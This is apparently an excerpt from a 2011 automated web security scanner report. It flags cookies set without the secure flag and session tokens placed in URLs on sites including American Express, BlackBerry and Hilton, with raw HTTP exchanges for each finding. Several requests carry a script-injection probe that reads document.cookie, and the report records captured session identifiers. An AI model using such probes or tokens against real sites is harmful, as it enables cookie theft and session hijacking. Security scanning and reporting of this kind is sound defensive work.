The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gold-card/ HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:09 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296942789184350; path=/; expires=Tue, 09-Feb-16 21:53:09 GMT; domain=.americanexpress.com
Accept-Ranges: bytes
Cache-Control: max-age=-11633126
Expires: Fri, 24 Sep 2010 06:27:43 GMT
Connection: close
Content-Type: text/html
Content-Length: 33640

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content
...[SNIP]...

9.43. https://www.americanexpress.com/no-annual-fee-credit-cards/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/no-annual-fee-credit-cards/

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

SaneID=173.193.214.243-1296942786051814; path=/; expires=Tue, 09-Feb-16 21:53:06 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /no-annual-fee-credit-cards/?source=footer_noannual_credit_cards HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9.44. https://www.blackberry.com/partnerzone/Forward.action previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.blackberry.com
Path:	/partnerzone/Forward.action

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

BIGipServerPlateau58_80=611926282.20480.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /partnerzone/Forward.action HTTP/1.1
Host: www.blackberry.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:05:27 GMT
X-Cnection: close
Content-Length: 1214
Content-Type: text/html
X-Powered-By: Servlet/2.4 JSP/2.0
Set-Cookie: BIGipServerPlateau58_80=611926282.20480.0000; path=/
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Draft//EN">
<HTML>
<HEAD>
<TITLE>Error 404--Not Found</TITLE>
<META NAME="GENERATOR" CONTENT="WebLogic Server">
</HEAD>
<BODY bgcolor="white">
<FONT FACE=He
...[SNIP]...

9.45. https://www.blackberry.com/partnerzone/Login.action previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.blackberry.com
Path:	/partnerzone/Login.action

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

BIGipServerPlateau58_80=611926282.20480.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /partnerzone/Login.action HTTP/1.1
Host: www.blackberry.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:05:28 GMT
X-Cnection: close
Content-Length: 1214
Content-Type: text/html
X-Powered-By: Servlet/2.4 JSP/2.0
Set-Cookie: BIGipServerPlateau58_80=611926282.20480.0000; path=/
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Draft//EN">
<HTML>
<HEAD>
<TITLE>Error 404--Not Found</TITLE>
<META NAME="GENERATOR" CONTENT="WebLogic Server">
</HEAD>
<BODY bgcolor="white">
<FONT FACE=He
...[SNIP]...

9.46. https://www.openforum.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.openforum.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

plv=lv=af6b38e2-af41-4de2-b212-3468d374f14c; path=/
BIGipServerAmex=2735450304.20480.0000; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /?cid=inav_home&inav=menu_business_openforum HTTP/1.1
Host: www.openforum.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9.47. https://www.xing.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.xing.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

xing=|U2FsdGVkX19_zQEE5j6F0xWakCI8lARPFH0FvSjppQxKaaEiZ97wyTiFIr3wVgNP_sOYmtw76XJUBuFfNLnN-VmebVKNIrzd8O9V5UJjwWlPD27y8semPRdDksJAU0_2|; path=/; HttpOnly

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.xing.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9.48. https://www134.americanexpress.com/consumertravel/travel.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www134.americanexpress.com
Path:	/consumertravel/travel.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

SaneID=173.193.214.243-1296944471975155; path=/; expires=Tue, 09-Feb-16 22:21:11 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /consumertravel/travel.do HTTP/1.1
Host: www134.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:21:11 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944471975155; path=/; expires=Tue, 09-Feb-16 22:21:11 GMT; domain=.americanexpress.com
Location: https://axptravel.americanexpress.com/consumertravel/travel.do
Content-Length: 0
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US

9.49. https://www152.americanexpress.com/premium/credit-card-travel-insurance/home.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www152.americanexpress.com
Path:	/premium/credit-card-travel-insurance/home.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

SaneID=173.193.214.243-1296944472429389; path=/; expires=Tue, 09-Feb-16 22:21:12 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /premium/credit-card-travel-insurance/home.do?source=footer_prem_services HTTP/1.1
Host: www152.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Perminantly
Date: Sat, 05 Feb 2011 22:21:12 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944472429389; path=/; expires=Tue, 09-Feb-16 22:21:12 GMT; domain=.americanexpress.com
Location: https://www295.americanexpress.com/premium/credit-card-travel-insurance/home.do?source=footer_prem_services
Content-Length: 0
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US

9.50. https://www209.americanexpress.com/merchant/mainpagedom/authreg_showMainpage.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www209.americanexpress.com
Path:	/merchant/mainpagedom/authreg_showMainpage.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

BIGipServerwww309-443=3272346122.47873.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /merchant/mainpagedom/authreg_showMainpage.do?ssolang=en_US&ssobrand=SOMSET&dispute=N&inav=menu_myacct_merchantacct HTTP/1.1
Host: www209.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:22:10 GMT
Server: IBM_HTTP_Server
Cache-Control: no-store
Location: https://sso.americanexpress.com/SSO/request?request_type=un_logon&TYPE=33554432&REALMOID=06-bab29d3a-fb73-100d-9cef-80f7dddcfc95&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=$SM$vSv7ddov8PItwO4vXIvOBx8HCsMWMGOmYXAmNyynqt%2b0Zzw6ZC66fAn%2bpdxgQwhf&TARGET=$SM$HTTPS%3a%2f%2fwww209%2eamericanexpress%2ecom%2fmerchant%2fmainpagedom%2fauthreg_showMainpage%2edo%3fssolang%3den_US%26ssobrand%3dSOMSET%26dispute%3dN%26inav%3dmenu_myacct_merchantacct
Content-Length: 739
Connection: close
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: BIGipServerwww309-443=3272346122.47873.0000; path=/

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="https://sso.americanexpress.com/SSO/request?req
...[SNIP]...

9.51. https://www217.americanexpress.com/cards/home.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www217.americanexpress.com
Path:	/cards/home.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

SaneID=173.193.214.243-1296944616338819; path=/; expires=Tue, 09-Feb-16 22:23:36 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cards/home.do HTTP/1.1
Host: www217.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Perminantly
Date: Sat, 05 Feb 2011 22:23:36 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944616338819; path=/; expires=Tue, 09-Feb-16 22:23:36 GMT; domain=.americanexpress.com
Location: https://www295.americanexpress.com/cards/home.do
Content-Length: 0
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US

9.52. https://www217.americanexpress.com/cards/shopping/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www217.americanexpress.com
Path:	/cards/shopping/index.jsp

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

SaneID=173.193.214.243-1296944619382211; path=/; expires=Tue, 09-Feb-16 22:23:39 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cards/shopping/index.jsp HTTP/1.1
Host: www217.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Perminantly
Date: Sat, 05 Feb 2011 22:23:39 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944619382211; path=/; expires=Tue, 09-Feb-16 22:23:39 GMT; domain=.americanexpress.com
Location: https://www295.americanexpress.com/cards/shopping/index.jsp
Content-Length: 0
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US

10. Session token in URL previous next
There are 29 instances of this issue:

http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/frontpage.css
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/main.css
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js
http://feedburner.google.com/fb/a/mailverify
http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d
http://hhonors1.hilton.com/en_US/hh/home_index.do
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem
http://homeappliance.manualsonline.com/regman/login/loginForm
http://homeappliance.manualsonline.com/regman/user/getUserBlock
http://homeappliance.manualsonline.com/regman/user/validateUser
http://session.owneriq.net/regman/mem/initsession
http://tbe.taleo.net/NA7/ats/careers/jobSearch.jsp
http://tools.cisco.com/search/display
https://www.aeprepaid.com/index.cfm
http://www.amazon.com/
http://www.csc.gatech.edu/~copeland/6612/tool-links.html
http://www.linkedin.com/companies/222438/OwnerIQ
http://www.mittelstandsblog.de/
http://www.officedepot.com/
http://www.officedepot.com/promo/list5.do
http://www.oneview.de/
http://www.quantcast.com/p-bdv9UMaVrliL2
http://www.splunk.com/page/company_news
http://www.usbjd.org/
http://www.yasni.de/
http://www1.hilton.com/en_US/hi/customersupport/site-usage.do
http://www1.hilton.com/en_US/hi/index.do
http://www201.americanexpress.com/business-credit-cards/business-solutions/overview

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

10.1. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/frontpage.css previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/css/frontpage.css

Issue detail

The URL in the request appears to contain a session token within the query string:

http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/frontpage.css?redownloadToken=7.01

Request

GET /version/7.01/css/frontpage.css?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
x-amz-id-2: 5+JpAfUzR5I/l5+5terwWBJSdq4S0G7xBbqUC6YnMNqOPnKKfPS4oCsdD55z/S/d
x-amz-request-id: 67E572F2463026B9
Date: Wed, 02 Feb 2011 10:25:48 GMT
Last-Modified: Wed, 02 Feb 2011 09:44:48 GMT
ETag: "59eaf83b40877b88329050509fa514f4"
Accept-Ranges: bytes
Content-Type: text/css
Content-Length: 26527
Server: AmazonS3
Age: 20235
X-Cache: Hit from cloudfront
X-Amz-Cf-Id: c58f9f6242adf1a61e2a8af7185e392ad623501ea3d66d16d5c992cff9045ffd8c3eb7e5f52ee857
Via: 1.0 f3f50cbd3d1def6bce4a308bcfd00161.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: keep-alive

/**************************************************************************************/
/******** STARTSITE CSS - Hier stehen Css Klassen f..r die Startseite *****************/
/*******************
...[SNIP]...

10.2. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/main.css previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/css/main.css

Issue detail

The URL in the request appears to contain a session token within the query string:

http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/main.css?redownloadToken=7.01

Request

GET /version/7.01/css/main.css?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
x-amz-id-2: /QeaO0Z+9+zOd04jAqT2xEV0/8paFqiNMI5ILRDQ3GxcDGZ0t9dHpX5hdXi/WJoa
x-amz-request-id: CECB7DCD4CCD9DB4
Date: Wed, 02 Feb 2011 09:49:48 GMT
Last-Modified: Wed, 02 Feb 2011 09:44:49 GMT
ETag: "59b53620d3175b5f235608776592326a"
Accept-Ranges: bytes
Content-Type: text/css
Content-Length: 98917
Server: AmazonS3
Age: 5406
X-Cache: Hit from cloudfront
X-Amz-Cf-Id: 06652e86e356f96d0db35a3c3714f0d9ac422527ec590fa57cbbafeb4debc1093adfc4f293ab8fc5
Via: 1.0 45b715302bfca21de6f1c839f7f026a7.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: keep-alive

/*******************************************************************************/
/********MAIN CSS - Hier sollen allgemeingueltige Css Klassen definiert werden *********/
/*************************
...[SNIP]...

10.3. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/js/min/frontpage.js

Issue detail

The URL in the request appears to contain a session token within the query string:

http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js?redownloadToken=7.01

Request

GET /version/7.01/js/min/frontpage.js?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
x-amz-id-2: Nf9DftWI4wnM847Ug2qys8RIWK2VsEo6Oq9xWkTdsAetvhpD5KXIRfL8TiQxpkFg
x-amz-request-id: 19526341ED5A2855
Date: Wed, 02 Feb 2011 10:25:48 GMT
Last-Modified: Wed, 02 Feb 2011 09:45:13 GMT
ETag: "22adc5d951b7a7af74637addf604c546"
Accept-Ranges: bytes
Content-Type: application/javascript
Content-Length: 7241
Server: AmazonS3
Age: 20235
X-Cache: Hit from cloudfront
X-Amz-Cf-Id: 33c5523d309d647b94f411d5e0a58a793c82aa9ffcb0300fe85babe5b2819bf5a0a86636e0515e45
Via: 1.0 b6a19ce57eb7f67ba86fc485bfe1effb.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: keep-alive

var vip_timeout=0;var vipnumber=1;var vip_pause=false;var vip_started=false;function dynevent_cache_load(region){if(window.XMLHttpRequest)
xhr_event=new XMLHttpRequest();else if(window.ActiveXObject)

...[SNIP]...

10.4. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/js/min/main.js

Issue detail

The URL in the request appears to contain a session token within the query string:

http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js?redownloadToken=7.01

Request

GET /version/7.01/js/min/main.js?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

10.5. http://feedburner.google.com/fb/a/mailverify previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://feedburner.google.com
Path:	/fb/a/mailverify

Issue detail

The response contains the following links that appear to contain session tokens:

http://feedburner.google.com/fb/a/home?gsessionid=XBvt5onSLx9jPcXP90cfRA
http://feedburner.google.com/fb/a/tos?gsessionid=XBvt5onSLx9jPcXP90cfRA

Request

GET /fb/a/mailverify HTTP/1.1
Host: feedburner.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Sat, 05 Feb 2011 23:32:44 GMT
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Set-Cookie: S=feedburner-control-panel=XBvt5onSLx9jPcXP90cfRA; Domain=.google.com; Path=/; HttpOnly
Server: GSE
Expires: Sat, 05 Feb 2011 23:32:44 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>

<head>
<meta name="r
...[SNIP]...
<h1><a href="/fb/a/home?gsessionid=XBvt5onSLx9jPcXP90cfRA">FeedBurner</a>
...[SNIP]...
<div id="footer">
©2004–2011
Google
(<a href="http://feedburner.google.com/fb/a/tos?gsessionid=XBvt5onSLx9jPcXP90cfRA">Terms of Service</a>
...[SNIP]...

10.6. http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://groups.google.com
Path:	/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d

Issue detail

The response contains the following links that appear to contain session tokens:

http://groups.google.com/group/jquery-dev/watch_topic?WebToken=cb31f14792cc368d10c90dd9a6fefeec&nonmember=1&tid=36395b7ab510dd5d&oldstate=0
http://groups.google.com/group/jquery-dev/watch_topic?WebToken=cb31f14792cc368d10c90dd9a6fefeec&nonmember=1&tid=36395b7ab510dd5d&oldstate=0&email=1

Request

GET /group/jquery-dev/browse_thread/thread/36395b7ab510dd5d HTTP/1.1
Host: groups.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Set-Cookie: PREF=ID=388b6895f2f5e916:TM=1296946162:LM=1296946162:S=pCk0TmWO-Wx5Tg3L; expires=Mon, 04-Feb-2013 22:49:22 GMT; path=/; domain=.google.com
X-Content-Type-Options: nosniff
Date: Sat, 05 Feb 2011 22:49:22 GMT
Server: GWS-GRFE/0.50
X-XSS-Protection: 1; mode=block
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=
...[SNIP]...
<td width=18 style="padding:2 0 0 0"><a
id="threadsubjquery-dev@36395b7ab510dd5d"
name="threadsubjquery-dev@36395b7ab510dd5d"
value="0"
target=_parent
href="/group/jquery-dev/watch_topic?WebToken=cb31f14792cc368d10c90dd9a6fefeec&nonmember=1&tid=36395b7ab510dd5d&oldstate=0"><img border=0
class=stimg
align=absmiddle
width=14
height=11
title="Click the envelope to receive email updates"
id="threadsubjquery-dev@36395b7ab510dd5d_img"

...[SNIP]...
<td><a
id="threadsubjquery-dev@36395b7ab510dd5d"
name="threadsubjquery-dev@36395b7ab510dd5d"
value="0"
target=_parent
href="/group/jquery-dev/watch_topic?WebToken=cb31f14792cc368d10c90dd9a6fefeec&nonmember=1&tid=36395b7ab510dd5d&oldstate=0&email=1"
><span id="threadsubjquery-dev@36395b7ab510dd5d_lnk2"
name="threadsubjquery-dev@36395b7ab510dd5d_lnk2"

>
...[SNIP]...
<td class="thread_star" width=17 id="thread_watch_site"><a class=st
id="watchjquery-dev@36395b7ab510dd5d"
name="watchjquery-dev@36395b7ab510dd5d"
value="0"
target=_parent
href="/group/jquery-dev/watch_topic?WebToken=cb31f14792cc368d10c90dd9a6fefeec&nonmember=1&tid=36395b7ab510dd5d&oldstate=0"
><img border=0
class=stimg
align=absmiddle
width=15
height=15
title="Click the star to watch this topic"
id="watchjquery-dev@36395b7ab510dd5d_img"
name="watchjq
...[SNIP]...
<div class="padl4 hide" id="ts_navinfo"><a
id="threadsubjquery-dev@36395b7ab510dd5d"
name="threadsubjquery-dev@36395b7ab510dd5d"
value="0"
target=_parent
href="/group/jquery-dev/watch_topic?WebToken=cb31f14792cc368d10c90dd9a6fefeec&nonmember=1&tid=36395b7ab510dd5d&oldstate=0"><img border=0
class=stimg
align=absmiddle
width=14
height=11
title="Click the envelope to receive email updates"
id="threadsubjquery-dev@36395b7ab510dd5d_img"

...[SNIP]...

10.7. http://hhonors1.hilton.com/en_US/hh/home_index.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://hhonors1.hilton.com
Path:	/en_US/hh/home_index.do

Issue detail

The response contains the following links that appear to contain session tokens:

http://hhonors1.hilton.com/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?dst=http://HH/en/hhonors/info/site_usage.jhtml
http://hhonors1.hilton.com/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?dst=http://HH/en/hhonors/promotions/index.jhtml?it=Not,TnavSP
http://hhonors1.hilton.com/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?it=Not,HeadBestRates&dst=http://HH/en/ww/ourbestrates/overview.jhtml&adId=guaranteebestrate,hhhome,30&cid=OM,HN,BestRateGuarantee,Minibottom
http://hhonors1.hilton.com/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?it=Not,HeadBestRates&dst=http://HH/en/ww/ourbestrates/overview.jhtml&adId=guaranteebestrate,hhhome,30&cid=OM,HN,BestRateGuarantee,Minitop
http://hhonors1.hilton.com/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?it=Not,TnavGM&dst=http://HH/en/hhonors/groups/index.jhtml
http://hhonors1.hilton.com/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?it=Not,TnavMyFav&dst=http://HH/en/hhonors/cart/index.jhtml
http://hhonors1.hilton.com/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?it=Not,TnavRes&dst=http://HH/en/hhonors/res/index.jhtml
http://hhonors1.hilton.com/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?it=Not,TnavSocial&dst=http://HH/en/hhonors/groups/index.jhtml&eventType=Social

Request

GET /en_US/hh/home_index.do HTTP/1.1
Host: hhonors1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Content-Language: en-US
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Sat, 05 Feb 2011 22:49:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: hilton-portal=HHONORS; Domain=hilton.com; Path=/
Set-Cookie: JSESSIONID=8CAFAF63982F525635C9F2F8847A1317.etc61; Path=/
Set-Cookie: NSC_qse-qgt=44153d5f3660;expires=Sat, 05-Feb-11 23:00:24 GMT;path=/
Content-Length: 91491

       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
   <head>
   <meta http-equiv="Content-Type" conten
...[SNIP]...
<li><a href="/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?dst=http://HH/en/hhonors/promotions/index.jhtml?it=Not,TnavSP" title="MyWay Specials">MyWay Specials</a>
...[SNIP]...
<li><a href="/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?it=Not,TnavRes&dst=http://HH/en/hhonors/res/index.jhtml" title="Reservations">Reservations</a>
...[SNIP]...
<li><a href="/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?it=Not,TnavGM&dst=http://HH/en/hhonors/groups/index.jhtml" title="Meetings">Meetings</a>
...[SNIP]...
<li><a href="/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?it=Not,TnavSocial&dst=http://HH/en/hhonors/groups/index.jhtml&eventType=Social" title="Social Gatherings">Social Gatherings</a>
...[SNIP]...
<li><a href="/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?it=Not,TnavMyFav&dst=http://HH/en/hhonors/cart/index.jhtml" title="My Favorite Hotels">My Favorite Hotels</a>
...[SNIP]...

       <a id="best_rates" href="/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?it=Not,HeadBestRates&dst=http://HH/en/ww/ourbestrates/overview.jhtml&adId=guaranteebestrate,hhhome,30&cid=OM,HN,BestRateGuarantee,Minitop" title="Our Best Rates Guaranteed"></a>
...[SNIP]...
